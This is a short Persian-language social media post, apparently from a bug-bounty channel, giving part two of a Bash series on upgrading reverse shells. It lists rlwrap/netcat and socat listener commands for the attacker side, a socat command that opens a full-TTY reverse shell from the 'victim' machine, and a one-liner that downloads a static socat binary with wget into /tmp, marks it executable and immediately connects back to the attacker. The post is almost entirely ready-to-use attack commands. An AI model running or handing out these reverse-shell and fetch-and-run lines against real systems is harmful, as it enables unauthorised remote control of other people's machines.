🔥 سری Bash برای باگ هانترها
قسمت ۲
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:
rlwrap -cAr nc -lvnp <port>
یا
rlwrap -f. -r nc -lnvp <port>
حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).
برای full interactive keyboard controls، از socat interactive shell استفاده کن:
در سمت attacker:
socat file:tty,raw,echo=0 tcp-listen:<port>
اگر error داد، امتحان کن:
socat file:$(tty),raw,echo=0 tcp-listen:<port>
در سمت victim (برای full TTY reverse shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن:
wget -q
https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
برای stop کردن socat:
ps aux | grep socat
Kill -9 socat <PID>
نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.
کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟
@TryHackBox
#باگ_بانتی